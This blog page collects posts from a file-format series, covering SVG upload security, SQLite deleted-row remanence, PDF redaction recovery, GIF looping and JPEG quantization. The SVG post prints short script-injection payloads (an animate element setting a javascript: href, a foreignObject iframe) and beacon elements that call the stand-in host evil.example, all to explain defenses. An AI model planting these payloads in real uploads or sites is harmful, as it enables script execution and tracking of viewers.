Programming

An SVG Is Not an Image
This series started two weeks ago with the question of what a file actually is. It ends with the format that answers “all of the above.”

An SVG is an image. It is also an XML document, which means everything in the XML post applies to it: entities, external references, the whole surface. It is also a CSS host, a stylesheet target, an animation timeline, and, when rendered in the wrong context, a JavaScript execution environment.

Your image upload endpoint accepts all of that.

What the First Filter Misses

Here is the sanitizer nearly everyone writes first, and I include myself in that:
```
def naive_sanitize(s):
    return re.sub(r"<script\b[^>]*>.*?</script\s*>", "", s, flags=re.I | re.S)
```
Strip the script tags. Reasonable. Here are nine payloads, all of them well-formed XML that a strict parser accepts without complaint, run through it:
```
payload                  well-formed XML  survives <script> strip
----------------------------------------------------------------------
script element           yes              no
onload on root           yes              yes
onerror on image         yes              yes
javascript: href         yes              yes
animate to js url        yes              yes
foreignObject html       yes              yes
external stylesheet      yes              yes
remote image beacon      yes              yes
use with remote ref      yes              yes
```
Eight out of nine. The interesting ones are not the obvious event handlers:
```
<svg xmlns="http://www.w3.org/2000/svg">
  <a><animate attributeName="href" to="javascript:x()"/>
     <rect width="9" height="9"/></a>
</svg>
```
That is SMIL animation rewriting a link’s href at runtime to a javascript: URL. No script element, no on* attribute, nothing a string filter is looking for. It is a legitimate use of a documented SVG feature to change an attribute over time, and the attribute it changes happens to be one that gets navigated.
```
<svg xmlns="http://www.w3.org/2000/svg">
  <foreignObject>
    <iframe xmlns="http://www.w3.org/1999/xhtml" src="..."/>
  </foreignObject>
</svg>
```
foreignObject is the element that lets you embed a different XML vocabulary inside SVG. Usually that means HTML. So an SVG can contain an entire HTML document, which means anything you could do with an HTML injection you can do inside an image file.

And two of them are not script at all:
```
<image href="https://evil.example/px.png?c=1"/>
<use href="https://evil.example/e.svg#p"/>
```
Those are outbound network requests from an image. If your SVG renders in a document context, opening it phones home with the viewer’s IP and referrer. No code executed, nothing to strip, and a naive filter has no opinion because there is no script involved.

The Real Boundary Is the Tag, Not the File

The important thing about SVG security is that the same bytes behave differently depending on how the page includes them. MDN states the restriction plainly:
For security purposes, some browsers place restrictions on SVG content when it’s being used as an image. Specifically, the following limitations may apply:
- JavaScript is disabled.
- External resources (e.g., images, stylesheets) cannot be loaded, though they can be used if inlined through data: URLs.
- :visited-link styles aren’t rendered.
- Platform-native widget styling (based on OS theme) is disabled.
Note the phrasing: “some browsers” and “may apply.” That is a specification-shaped hedge, and this is a security boundary.

The boundary holds for <img src="user.svg"> and for CSS background-image. It does not exist for <object>, <embed>, <iframe>, inline <svg> pasted into your DOM, or the case people forget, a user navigating directly to https://yoursite.com/uploads/user.svg. That last one runs with your origin, which means the uploaded file has your cookies.

So the answer to “is it safe to accept SVG uploads” is not a property of the file. It is a property of every place the file might later be rendered, including places you did not write, like a support tool that displays attachments inline.

It Is Still XML, So the Bomb Still Works

Everything from the XML post carries over unchanged, because SVG did not define its own parser. It said “this is XML” and inherited the entity system.

Here is an entity bomb in an SVG, expanded by two Python parsers:
```
levels=3  source  299 bytes   ElementTree: 3,000 chars       lxml: 3,000 chars
levels=4  source  357 bytes   ElementTree: 30,000 chars      lxml: 30,000 chars
levels=5  source  415 bytes   ElementTree: 300,000 chars     lxml: Maximum entity amplification factor exceeded
levels=6  source  473 bytes   ElementTree: 3,000,000 chars   lxml: Maximum entity amplification factor exceeded
```
libxml2 has the amplification limit I wrote about six days ago, and it fires exactly where it should. Python’s standard library xml.etree.ElementTree has no such limit. A 473-byte file expands to three million characters, and adding one more line makes it thirty million.

This is not a hypothetical for image handling. If any part of your pipeline parses the SVG rather than just rasterizing it, which is what every thumbnailer, dimension-extractor, and metadata-stripper does, that parser is the one that has to survive the input. defusedxml exists for this and takes one import to adopt.

The Format Is Good, Actually

I have spent most of this post on the attack surface, so let me be fair about the design, because SVG got a hard thing right.
```
<svg xmlns="http://www.w3.org/2000/svg"
     width="800" height="600"
     viewBox="0 0 400 300"
     preserveAspectRatio="xMidYMid meet">
```
Two coordinate systems, cleanly separated. width and height are how much room the image takes up on the page. viewBox is the coordinate space the drawing commands are written in. The renderer computes the scale factors between them and applies preserveAspectRatio to decide what happens when they disagree: meet fits the whole drawing inside, slice fills the box and clips, none stretches.

That separation is why one SVG file is correct at 16 pixels and at 4,000, and why every icon system on the web is SVG now. None of the raster formats in this series can do it. PNG, JPEG, and GIF all encode a grid of samples at one resolution, and everything after that is interpolation.

The path syntax is similarly good. M moves, L lines, C is a cubic Bézier, Z closes, lowercase means relative. Six letters and some numbers describe any curve, in text, diffable in git, editable by hand.

The problem is not the drawing model. The problem is that the same document that describes the curve can also describe a script, and both are in the same file, delivered by the same upload form.

What To Do About It
- Never write your own SVG sanitizer. Use DOMPurify with USE_PROFILES: {svg: true}, or a server-side equivalent that works on a parsed tree with an allowlist. The blocklist approach loses, always, and this post is nine examples of why.
- Serve user uploads from a separate origin. Not a subdomain of your app, a different registrable domain, so a direct navigation to the file cannot touch your cookies or localStorage.
- Set Content-Security-Policy: default-src 'none'; sandbox on upload responses, plus Content-Disposition: attachment if you never need inline display.
- Render through <img>, never <object> or inline. The restrictions MDN lists only apply in image context. If a designer asks to inline the SVG so they can style it with CSS, that request converts a sandboxed file into an executable one.
- Use defusedxml in every pipeline stage that parses. Your thumbnailer is a parser. So is your dimension check.
- Consider rasterizing on upload. If you accept SVG from users and only ever display it at known sizes, converting to PNG at ingest removes the entire category and costs you resolution independence you were not using anyway.
Fifteen posts, and the pattern held every time. CSV had no standard and everyone wrote their own. JSON had a small standard and everyone filled the gaps differently. YAML fixed its bug and the fix never landed. XML specified everything and shipped the dangerous defaults. PDF and SQLite both keep what you told them to delete. JPEG exposes one control that means nothing. GIF’s most famous feature is not in its specification at all.

SVG is the one where all of it lands at once, because SVG is not really a format. It is XML plus a drawing vocabulary plus CSS plus SMIL plus a scripting host, wearing a .svg extension so that your upload validator sees an image.

The file extension is a suggestion. It always was. That is where this series started, and it turns out to be where it ends.

Sources
- SVG 1.1 (Second Edition) — the W3C Recommendation; the coordinate system rules are in the coords chapter
- SVG 2 — the current draft; href replaces xlink:href, geometry moves into CSS
- MDN: SVG as an image — the restrictions that apply in image context, and the hedged language they are stated in
- DOMPurify — the sanitizer to use instead of the one you were about to write
- OWASP File Upload Cheat Sheet — separate origin, content disposition, and why extension checks are not validation
- defusedxml — for every stage of the pipeline that parses rather than renders
I’d appreciate a follow. You can subscribe with your email below. The emails go out once a week, or you can find me on Mastodon at @[email protected].
Aug 28, 2026 Programming security Svg File-formats Xml

Enjoyed this?
Two SQLite Libraries, One Deleted Password
Every format in this series so far has been a way of writing a document down. SQLite is the one that asked a different question: what if the application file format were a database?

It is the best-designed thing I have written about in this whole series. It has a real specification, a versioned header, a page allocator, transactions, and a compatibility promise going back to 2004. The Library of Congress recommends it for long-term preservation. Its own documentation makes the case that a .sqlite file is a better application format than a custom binary blob or an XML tree, and the case is correct.

And it will still hand a deleted password to anyone who runs strings on the file, or not, depending on which copy of the library you happened to link.

The Header Is Legible

The first hundred bytes of any SQLite database are a fixed-layout, big-endian header. You can read it with xxd:
```
$ xxd -g 1 -l 32 notes.db
00000000: 53 51 4c 69 74 65 20 66 6f 72 6d 61 74 20 33 00  SQLite format 3.
00000010: 10 00 01 01 00 40 20 20 00 00 00 06 00 00 00 02  .....@  ........
```
Sixteen bytes of magic, and it is the literal string SQLite format 3 with a nul terminator. Then decoding what follows:
```
page size        4096
write version    1  (1 = rollback journal, 2 = WAL)
read version     1
reserved/page    0
change counter   6
size in pages    2
freelist head    0
freelist count   0
text encoding    1  (1 = UTF-8)
sqlite version   3047001
```
The page size is a two-byte field, which creates a small problem: the format allows 65,536-byte pages, and 65,536 does not fit in two bytes. The spec’s answer is a special case, and it is worth reading in the original:

to specify a 65536-byte page size, the value at offset 16 is 0x00 0x01. This value can be interpreted as a big-endian 1 and thought of as a magic number to represent the 65536 page size.

That is the whole hack, documented in the spec, with the word “magic number” used by the authors about their own file. Compare that to every other format in this series, where the ambiguities were things nobody wrote down.

Every page after the header starts with a one-byte type flag:
```
page 1: flag 0x0d  leaf table
page 2: flag 0x0d  leaf table
```
0x0d is a table leaf, 0x05 a table interior node, 0x0a an index leaf, 0x02 an index interior node. Four values, and from those four you can walk a B-tree without a library. Each page is slotted: a pointer array grows down from the header, cell content grows up from the bottom, and free space is whatever is left in the middle.

This is a database engine’s internal layout, written down, versioned, and promised to stay readable. There is a reason people keep reaching for it as a document format. The project’s own argument for it is that you get transactions, partial reads, and incremental writes for free, and that for blobs under about 100KB it reads and writes faster than the filesystem does.

Two Libraries, Two Answers

Here is a three-row table. I delete the row with the secret in it, and then look at the file.
```
import sqlite3
c = sqlite3.connect("notes.db")
c.executescript("""
CREATE TABLE notes(id INTEGER PRIMARY KEY, body TEXT);
INSERT INTO notes(body) VALUES ('the wifi password is hunter2-CANARY');
INSERT INTO notes(body) VALUES ('groceries: milk, eggs');
INSERT INTO notes(body) VALUES ('call the dentist back');
""")
c.commit()
c.execute("DELETE FROM notes WHERE body LIKE '%CANARY%'")
c.commit()
```
```
$ strings notes.db | grep -i canary
(Sthe wifi password is hunter2-CANARY
```
The row is gone from every query. SELECT count(*) returns 2. The bytes are still on the page, because deleting a row marks its cell as a freeblock and links it into a chain of free space. Nothing overwrites it. The next insert that happens to fit will land there and clobber it, and until then it sits in the file.

That is the behavior everyone knows about. If you ran the same three statements through the sqlite3 command-line tool on the same machine, on the same directory, and the string will be gone.
```
$ sqlite3 --version
3.51.0 ...

$ sqlite3 notes.db 'PRAGMA secure_delete;'
2
```
```
$ python3 -c "import sqlite3; print(sqlite3.sqlite_version); \
    print(sqlite3.connect(':memory:').execute('PRAGMA secure_delete').fetchone()[0])"
3.47.1
0
```
secure_delete off means freed space keeps its contents. secure_delete set to 2 is FAST mode, which zeroes freed space inside a page without chasing it into the freelist. macOS ships one build with it on. CPython ships another with it off. Neither reports the difference in PRAGMA compile_options. Nothing in the file records which one wrote it.

So “does my database keep deleted data” has no answer at the format level. It has an answer per binary, and both binaries are called SQLite, and both are on this laptop.

VACUUM does resolve it, because it rebuilds the entire file from live rows:
```
$ python3 -c "import sqlite3; sqlite3.connect('notes.db').execute('VACUUM')"
$ strings notes.db | grep -ci canary
0
```
Which is the same shape as yesterday’s PDF post. The safe operation and the obvious operation are different operations. DELETE is the obvious one.

The Single-File Database Is Three Files

The pitch for SQLite as an application format leans hard on it being one file you can copy, email, and back up. In the default rollback-journal mode that is true between transactions. Turn on WAL, which is what you want for anything with concurrent readers, and while a connection is open:
```
-rw-r--r--  4096 w2.db
-rw-r--r-- 32768 w2.db-shm
-rw-r--r-- 12392 w2.db-wal
```
The write-ahead log and the shared-memory index are each larger than the database. The -wal file starts with its own magic number:
```
37 7f 06 82 00 2d e2 18 00 00 10 00
```
0x377F0682 says little-endian checksums, and the last four bytes are the page size again, 4096, matching the main file.

Copy just w2.db while that connection is open and you get the database as of the last checkpoint, silently missing every committed transaction still sitting in the WAL. The main file’s header even tells you this is possible: the read and write version bytes both flip from 1 to 2 when WAL is enabled, which is the format’s way of saying “a reader that does not understand WAL must not open me.”

Both files disappear on a clean close, which is why this bites people at exactly the wrong moment. Your backup script tested fine.

What To Do About It
- Set PRAGMA secure_delete=ON explicitly if the database holds anything sensitive, in your application code, not in a config file you hope got read. Do not assume the default. Check it at startup and log what you got.
- VACUUM after deleting anything that mattered. It is the only operation that actually reclaims and rewrites. On a large database it is expensive and takes a full-file lock, so schedule it.
- Back up with .backup or VACUUM INTO, never cp. Both take a consistent snapshot including the WAL. cp on a live WAL database gives you a file that opens fine and is missing data.
- Check PRAGMA integrity_check in your test suite, not just in production incident response.
- Read the header yourself when debugging. Page size, page count, encoding, and journal mode are all in the first 100 bytes, and a hex dump will tell you in two seconds whether the file is truncated, whether it is even SQLite, and what wrote it.
- Use it as an application file format. Seriously. The argument is right. Just know that “it is a database” means it has a database’s habits, including keeping things you told it to delete.
Two weeks into this series the pattern is uncomfortably consistent. The problem is almost never the specification. CSV had none, JSON had a small one, YAML had a good one that arrived late, XML had one for everything, and SQLite has one that is legible, complete, and honest about its own hacks. It still ships a data-remanence behavior that flips based on a compile-time flag neither binary bothers to report.

The format is not what you get. The build is what you get.

Sources
- SQLite Database File Format — the 100-byte header, the page types, the freeblock chain
- SQLite as an Application File Format — the project’s own argument, including the claim that it beats the filesystem for blobs under 100KB
- Write-Ahead Logging and the WAL file format — the -wal and -shm companions, and why cp is not a backup
- PRAGMA secure_delete — including the FAST mode that macOS ships and CPython does not
- Library of Congress: SQLite as a recommended preservation format — the format description
I’d appreciate a follow. You can subscribe with your email below. The emails go out once a week, or you can find me on Mastodon at @[email protected].
Aug 27, 2026 Programming Sqlite Databases security File-formats

Enjoyed this?
Your PDF Remembers What You Deleted
A PDF does not have a current version. It has a stack of them, and the one your reader shows you is whichever one is on top.

That is not a bug, but a clause in the specification, it is the reason PDFs can be signed and annotated without invalidating anything that came before, and it is also why a court filing with black rectangles over the sensitive parts keeps handing those parts to anyone who runs pdftotext.

I built a 619-byte PDF by hand to show the mechanism, because the mechanism is small enough to fit in a blog post.

Read It From the Bottom

Here is the entire tail of that file:
```
xref
0 6
0000000000 65535 f 
0000000015 00000 n 
0000000064 00000 n 
0000000121 00000 n 
0000000247 00000 n 
0000000366 00000 n 
trailer
<< /Size 6 /Root 1 0 R >>
startxref
436
%%EOF
```
A parser opens this file by seeking to the end, finding %%EOF, reading the number above it, and jumping to byte 436. That is the cross-reference table. Every line in it is a ten-digit zero-padded byte offset for one object. Object 4 lives at byte 247. Object 5 lives at byte 366. The trailer then says the document catalog is object 1, and the parser follows the graph from there.

Nothing is read sequentially. There is no “parse the header, then stream forward.” The header is four bytes of version number and a comment containing four deliberately non-ASCII bytes, present only so that any transport handling the file is forced to treat it as binary.

If you read the ZIP post earlier this month, this should feel familiar. Both formats put their index at the end so that appending is cheap. Both formats therefore have the same structural property: the index is authoritative, and the bytes it doesn’t point at are still sitting right there in the file.

The Black Box Is a Rect

Start with the failure, the one that has been in the news.

My page has a single content stream with a text-drawing operator in it:
```
BT /F1 12 Tf 20 60 Td (CONFIDENTIAL: Q3 layoffs begin March 14) Tj ET
```
To redact it, I append a filled black rectangle covering the same coordinates:
```
0 0 0 rg 15 52 270 24 re f
```
On screen that is a black bar. The text is underneath it and completely invisible. Then:
```
$ pdftotext overlay.pdf -
CONFIDENTIAL: Q3 layoffs begin March 14
```
The rectangle is a drawing instruction. Tj is a different drawing instruction. Text extraction never rasterizes anything, so it never learns that one shape happens to sit on top of another. It walks the content stream, collects the text operators, and hands them over.

This is what Paul Manafort’s lawyers filed in January 2019. The blacked-out passages came straight back out with copy and paste, and what came out was that Manafort had shared 2016 campaign polling data with Konstantin Kilimnik. A corrected version went up quickly.

It is also the 93-page TSA screening manual posted to a federal contracting site in December 2009, with black boxes over the tolerances used by airport metal and explosive detectors and over the special handling rules for CIA officers, diplomats, and law enforcement. Same mistake, ten years earlier, and the second time nobody could claim the technique was novel.

Doing It Properly and Still Losing

Now the interesting case. This time I actually replace the content stream. New object 4, no text operator, only the rectangle. The old object stays where it is, because PDF’s editing model appends:
```
$ pdftotext redacted.pdf -
$
```
Empty. The text is gone from the document as the parser understands it. This is an edit, not an overlay, and every viewer will agree the page contains a black bar and nothing else.
```
$ strings redacted.pdf | grep -i confidential
BT /F1 12 Tf 20 60 Td (CONFIDENTIAL: Q3 layoffs begin March 14) Tj ET
```
The file is 812 bytes. The first 616 of them are the original document, untouched, including its own xref, its own trailer, and its own %%EOF. The new revision was appended after that:
```
$ grep -abo '%%EOF' redacted.pdf
613:%%EOF
806:%%EOF
```
Two end-of-file markers in one file. The second trailer carries a /Prev key pointing back at the first cross-reference table:
```
trailer
<< /Size 6 /Root 1 0 R /Prev 436 >>
startxref
695
%%EOF
```
So recovering the unredacted document is not forensics. It is head:
```
$ head -c 616 redacted.pdf > recovered.pdf
$ pdftotext recovered.pdf -
CONFIDENTIAL: Q3 layoffs begin March 14
```
That is a valid, complete, openable PDF. Not a fragment, not a carved string. The original revision was always a self-contained file; the redaction just parked another file behind it.

You can see why the format works this way. Digital signatures need the signed byte range to stay byte-identical, so an annotation or a form fill has to append rather than rewrite. Incremental save is also why a 400-page PDF takes a moment to annotate instead of a minute. The design is coherent. It just means that “save” and “erase” are unrelated operations, and most software offers you the first one while you are thinking about the second.

Hard to Get Right

In 2021 Supriya Adhatarao and Cédric Lauradoux collected 39,664 PDF files published by 75 security agencies across 47 countries and looked at what was still in them. Seven of the 75 agencies had made any attempt at sanitization at all. Of the files those seven had sanitized, 65% still contained sensitive information.

These are security agencies. Sanitizing documents is a thing they have written policies about. The success rate among the small minority that tried was roughly one in three.

The reason is not incompetence. It is that the safe operation and the obvious operation are different operations, and the file gives you no feedback about which one you performed. Both produce a document with a black bar on it.

What To Do About It
- Never redact by drawing. If the feature lives in the same menu as shapes, highlights, and stamps, it is a shape. A real redaction tool deletes the content stream operators; an annotation tool adds one on top.
- Flatten and rewrite the whole file afterward. qpdf --linearize in.pdf out.pdf rebuilds the document as a single revision and drops what nothing points at. If the output still has two %%EOF markers, the collapse did not happen.
- Check your work with strings and pdftotext. Both take ten seconds. Between them they would have caught every failure in this post.
- Count the %%EOF markers on any PDF you receive, not just the ones you send. Use grep -ac '%%EOF' file.pdf; without -a, grep decides the file is binary and reports nothing at all.
- Export to images and re-OCR when the stakes are high enough. It destroys the text layer along with everything else, which is the point.
- Strip metadata separately. Author names, the software that produced the file, and the local file path of the original are in the /Info dictionary and the XMP packet, and none of that is touched by redacting page content.
The formats in the first half of this series failed by being unclear about what their bytes meant. PDF is not unclear about anything. It says precisely where every object is and precisely which ones are current, and it says it in a structure that keeps the non-current ones exactly where they were. The file is honest. It is the word “redacted” that is doing the lying.

Sources
- ISO 32000-1:2008 — the PDF 1.7 specification; clause 7.5.4 covers the cross-reference table, 7.5.6 covers incremental updates
- ISO 32000-2:2020 — PDF 2.0
- Adhatarao & Lauradoux, “Exploitation and Sanitization of Hidden Data in PDF Files” — 39,664 files from 75 security agencies; 7 attempted sanitization, 65% of those still leaked
- Library of Congress format description for the PDF family — history and revision structure
- BuzzFeed News on the Manafort filing — January 2019
- CBS News on the unredacted TSA manual — December 2009
I’d appreciate a follow. You can subscribe with your email below. The emails go out once a week, or you can find me on Mastodon at @[email protected].
Aug 26, 2026 Programming security File-formats Pdf Forensics

Enjoyed this?
Looping Is Not in the GIF Spec
The GIF89a specification defines the signature, the color tables, the LZW encoder, the four interlacing passes, transparency, and the per-frame delay. It does not define animation looping. Download it and search: the word “loop” does not appear in the document once.

Every GIF you have ever watched repeat did so because of a 19-byte block that Netscape made up in 1995 and nobody ever standardized.

I saved the same eight frames twice, once with a loop count and once without:
```
loop.gif      1969 bytes
noloop.gif    1950 bytes
```
Nineteen bytes. That is the entire difference between an animation and a slideshow that stops.

The Nineteen Bytes
```
$ grep -abo NETSCAPE loop.gif
28:NETSCAPE
$ grep -abo NETSCAPE noloop.gif
$
```
At byte 25, three bytes before that match, the block starts:
```
0x21        extension introducer
0xFF        application extension label
0x0B        block size: 11
"NETSCAPE"  8 bytes
"2.0"       3 bytes
0x03        sub-block size: 3
0x01        sub-block ID: loop count
0x0000      loop count, little-endian; zero means forever
0x00        block terminator
```
The GIF89a spec does define a generic Application Extension, in section 26: a container where a vendor can stash eleven bytes of identifier and whatever payload they like, which decoders that don’t recognize the identifier must skip. That was the extension point Netscape used, and the feature won so completely that it is now the only reason the format still exists.

Section 14 of the same document, well before it gets there, tells you not to do this:

This approach is recommended in favor of using Application Extensions, which become overhead for all other applications that do not process them.

The spec authors saw the vendor-extension move coming, wrote down that it was a bad idea, and then shipped the mechanism anyway. Six years later a browser vendor used it to define the format’s most famous feature.

There is no RFC for this. There is no W3C note. There is no erratum to GIF89a. The WHATWG’s own wiki page for GIF does not document the block either; it links out to a third-party page that reverse-engineered it. Every GIF encoder in the world implements a format feature whose only description is somebody else’s notes.

The Header, and the Ghost of 1995

The first sixteen bytes tell you most of what the file is:
```
$ xxd -g 1 -l 32 loop.gif
00000000: 47 49 46 38 39 61 c8 00 64 00 81 00 00 ff 5a 28  GIF89a..d.....Z(
00000010: 14 14 1e 00 00 00 00 00 00 21 ff 0b 4e 45 54 53  .........!..NETS
```
GIF89a, then c8 00 and 64 00: 200 by 100, little-endian, which is the opposite of what JPEG, PNG, and MP4 all chose. Then a packed byte, 0x81, whose low three bits say the global color table holds 2^(1+1) colors. Four colors, twelve bytes, and then at byte 25 the Netscape block starts immediately.

The per-frame timing lives in a different block, the Graphic Control Extension, and it has a problem:
```
GCE at byte 44:  delay field = 8 (hundredths of a second)
GCE at byte 386: delay field = 8 (hundredths of a second)
8 Graphic Control Extensions total
```
Hundredths of a second. Two bytes, unsigned, little-endian. The finest interval the format can express is 10 milliseconds, so the theoretical ceiling is 100fps and there is no way to say 60fps evenly.

It gets worse in practice. Browsers treat a delay of 0 or 1 as 10, so asking for 100fps gets you 10fps. Firefox has done this since at least 2004, and the reason in the source comments is compatibility with how Netscape behaved. A delay of 2 is the practical floor, which puts the real maximum at 50fps.

So the animation feature was defined by Netscape, and the animation timing is still bounded by an emulation of Netscape’s bugs, thirty years after Netscape.

LZW Is Just Worse

Here is the part that makes GIF’s survival strange.

I took a 512x512 image with 151,112 distinct colors and reduced it to a 256-color adaptive palette. Then I saved those exact same quantized pixels two ways:
```
pal.gif      59198 bytes    (LZW)
pal.png      29154 bytes    (DEFLATE)
true.png     64106 bytes    (DEFLATE, all 151,112 colors, lossless)
```
Identical pixels, identical palette. PNG is less than half the size. And full-color lossless PNG, with every one of those 151,112 colors intact, is only 8% bigger than the GIF that threw 150,856 of them away.

LZW builds a dictionary of repeated index sequences with codes that grow from 2 bits to a hard ceiling of 12. DEFLATE does LZ77 plus Huffman coding and has no such ceiling. On anything that isn’t flat-color line art, it is not close.

To be fair to the format, GIF is not always the loser. My eight-frame animation of a flat orange circle on a flat dark background came out:
```
anim.gif     1969 bytes
anim.png     2170 bytes   (APNG)
anim.webp    4392 bytes
```
On a handful of frames of solid color, GIF’s per-frame overhead is small and LZW does fine. That is the shape of content GIF was designed for in 1987, when it was moving graphics over a 2400-baud modem, and it is still competitive there. It is just that nobody uses GIF for that anymore. They use it for compressed video of a person reacting to something, which is close to the worst possible input for a 256-color palette and a 12-bit dictionary.

The Format PNG Was Built To Replace

At the end of December 1994, CompuServe and Unisys jointly announced that software reading or writing GIF would need a license for US Patent 4,558,302, Terry Welch’s LZW patent, granted in 1985.

The response was immediate. PNG went from nothing to a frozen ninth draft on 7 March 1995, roughly ten weeks later. It is a better format on essentially every axis: better compression, 24-bit color, an alpha channel instead of one transparent index, and no patent. The League for Programming Freedom ran a “Burn All GIFs” campaign. Everyone agreed GIF should die.

The patent expired on 20 June 2003, and by then the argument had been over for years. PNG had won the still-image half completely.

It lost the other half because it did not have animation, and by the time APNG existed the web had already decided that a looping image was a GIF. The format that PNG was created to replace survives entirely on the one capability PNG shipped without, which the GIF specification also does not have, and which exists only because a browser vendor stuffed it into a generic extension slot and shipped it.

What To Do About It
- Stop using GIF for video. A short MP4 or a WebM is smaller by an order of magnitude, plays with hardware decoding, and does not have a 256-color palette. Every major platform silently transcodes your GIF uploads to video already.
- Use PNG for anything still. There is no case in 2026 where a static GIF is the right answer.
- If you must ship GIF, quantize deliberately. Pick the palette yourself rather than letting the encoder guess, and dither on purpose. The default adaptive palette is rarely the best 256 colors for your image.
- Never set a frame delay below 2. You will get 10fps instead of the 50 or 100 you asked for, and it will look like a bug in your code.
- Check for the loop block if animations mysteriously play once. grep -abo NETSCAPE file.gif. Plenty of encoders omit it by default, including Pillow unless you pass loop=0.
Every format in this series has had a gap between what the specification says and what implementations do. GIF is the case where the gap swallowed the format. The spec describes a still-image format with optional frame timing. What the world actually uses is that spec plus one undocumented vendor block, and the vendor has been gone since 2003.

Sources
- GIF89a specification — CompuServe, 31 July 1989; the Application Extension block is section 26
- WHATWG Wiki: GIF — where the web platform’s own wiki sends you for the looping extension, which is off-site
- US Patent 4,558,302 — Welch, granted 1985, expired 20 June 2003
- PNG specification history — the ninth draft froze on 7 March 1995
- Mozilla bug 232822 — animated GIF frame delays of 10ms are slowed to 100ms
- What’s In A GIF — the clearest walkthrough of GIF’s LZW bit packing anywhere
I’d appreciate a follow. You can subscribe with your email below. The emails go out once a week, or you can find me on Mastodon at @[email protected].
Aug 25, 2026 Programming web File-formats Compression Gif

Enjoyed this?
JPEG Quality 80 Is Not a Setting
MP4’s boxes are exact about everything: every byte accounted for, every offset written down. JPEG is exact about its structure too, and then hands you one control that has no defined meaning at all.

It destroys things. That is the entire point, and it will not tell you how much.

Here is one 512x512 PNG, encoded to JPEG four times, on the same machine, with every encoder set to quality 80.
```
q80-cjpeg.jpg      42595 bytes    (libjpeg-turbo 3.2.0)
q80-pillow.jpg     42595 bytes    (Pillow 12.3.0)
q80-sips.jpg       67865 bytes    (macOS sips)
q80-ffmpeg.jpg     13847 bytes    (ffmpeg -q:v 80)
```
Same input. Same number typed into the same-named parameter. A 5x spread in output size.

The Number Is an Index, Not a Measurement

There is no quality field in a JPEG file. Nothing in ISO/IEC 10918-1 defines a scale from 0 to 100. What the file actually carries is a quantization table: 64 integers that every DCT coefficient in an 8x8 block gets divided by before rounding. Bigger divisors, more coefficients rounded to zero, smaller file, more damage.

“Quality 80” is just a name your encoder gives to one particular table. Here is the first row of the luminance table each of those four files chose:
```
cjpeg    6   4   4   6  10  16  20  24
pillow   6   4   4   6  10  16  20  24
sips     2   2   2   3   4   5   7   8
ffmpeg   8  62  73  85 100 104 112 131
```
cjpeg and Pillow are identical because Pillow links libjpeg and inherits its table. Both are the standard Annex K example table scaled by a linear formula: at quality 80 the scale factor is 40%, and 16 x 0.40 rounds to 6, 11 x 0.40 rounds to 4, and so on down the row.

macOS sips divides by 2 where libjpeg divides by 6. Its quality 80 lands somewhere around libjpeg’s 93, and it is not the standard table scaled differently, it is a different table. Apple picked their own numbers.

ffmpeg is the funny one. Its -q:v for MJPEG runs 2 to 31, where lower is better. So -q:v 80 gets clamped to 31, the worst setting it has:
```
$ ffmpeg -i source.png -q:v 31 f31.jpg
$ cmp f31.jpg q80-ffmpeg.jpg
$
```
Byte-identical. Asking ffmpeg for 80 asks it for the ugliest image it knows how to make, and it does not warn you, because 80 is a perfectly valid thing to say to a parameter that happens to top out at 31.

None of these encoders is wrong. The specification never told them what 80 means.

The Damage Is Mostly Not Where You Think

The DCT-and-quantize step gets all the attention. It is not usually the thing wrecking your image.

Before any of that happens, the encoder converts RGB to YCbCr and then, by default, throws away three quarters of the color information. 4:2:0 subsampling averages the two chroma channels over 2x2 pixel blocks. Human vision is much less sensitive to color detail than to brightness detail, so most of the time you cannot see it.

Most of the time. Here is a 400x120 image, pure red on pure blue, encoded at quality 95 both ways:
```
                    size      max channel error   mean error
4:4:4 (no subsampling)   19688 bytes          20         0.59
4:2:0 (default)          10782 bytes         232        14.70
```
Quality 95 is a setting people reach for when they want the image to be basically untouched. At 4:2:0 a single channel is off by 232 out of 255. The red and blue have the same luminance, so the entire edge between them lives in chroma, and chroma is the part that got averaged away.

This is why red text on a colored background looks like it was scanned by a fax machine, why UI screenshots with colored syntax highlighting come out muddy, and why a logo saved as JPEG at “high quality” still has a smeared halo. Turning subsampling off costs about 80% more bytes here and takes the error from 232 to 20.

cjpeg -sample 1x1 does it. In Pillow it is subsampling=0. Almost no tool exposes it in a GUI, and almost every default is 4:2:0.

Generation Loss Converges

The folk wisdom is that re-saving a JPEG degrades it a little more each time, forever, until it turns to soup. I re-encoded the same image 50 times at quality 85, decoding and re-encoding each round, and measured the drift from the original:
```
gen   size(bytes)   mean err   max err
  1        48911       3.51        194
  2        49532       4.11        188
  5        49351       5.21        197
 10        49299       6.17        199
 25        49249       7.20        190
 50        49189       7.54        190
```
Most of the loss happens on save one. Generation two adds about half a point. Generations 25 through 50 add a third of a point between them, and the maximum error never moves at all.

It converges because quantization is idempotent once you land on the grid. Decode a coefficient that was rounded to 6 times its divisor, transform it back, and it quantizes to the same bucket. The image reaches a fixed point that survives re-encoding. What breaks this is changing anything: a different quality, a different subsampling mode, a crop that shifts the 8x8 block boundaries, or a rotation that resamples. Then you land on a new grid and pay the first-generation cost again.

Which is the actual reason jpegtran exists:
```
$ jpegtran -rotate 180 -outfile r1.jpg original.jpg
$ jpegtran -rotate 180 -outfile r2.jpg r1.jpg
$ cmp original.jpg r2.jpg
$
```
Two 180-degree rotations, byte-identical to the input. jpegtran permutes the already-quantized coefficient blocks without ever decoding to pixels, so there is nothing to re-quantize. Rotating, flipping, and cropping on 8-pixel boundaries are all lossless if you use the right tool. Almost nobody does.

What the File Looks Like

Worth thirty seconds, because the structure is unusually clean. Every marker is 0xFF followed by a type byte, and every marker except the two bare ones carries a 2-byte big-endian length:
```
$ xxd -g 1 -l 32 q80-cjpeg.jpg
00000000: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01  ......JFIF......
00000010: 00 01 00 00 ff db 00 43 00 06 04 05 06 05 04 06  .......C........
```
ffd8 is Start of Image. ffe0 is APP0, length 0x0010, containing the literal string JFIF\0. Then at offset 20, ffdb is Define Quantization Table, length 67, table 0, and the bytes after it are the 64 divisors in zigzag order. 06 04 05 06 05 04 is that first row I printed above, read diagonally.

Walking the whole file:
```
     0  FFD8  SOI
     2  FFE0  APP0  length 16
    20  FFDB  DQT   length 67
    89  FFDB  DQT   length 67
   158  FFC0  SOF0  length 17
   177  FFC4  DHT   length 31
   210  FFC4  DHT   length 181
   393  FFC4  DHT   length 31
   426  FFC4  DHT   length 181
   609  FFDA  SOS   length 12
 42593  FFD9  EOI
```
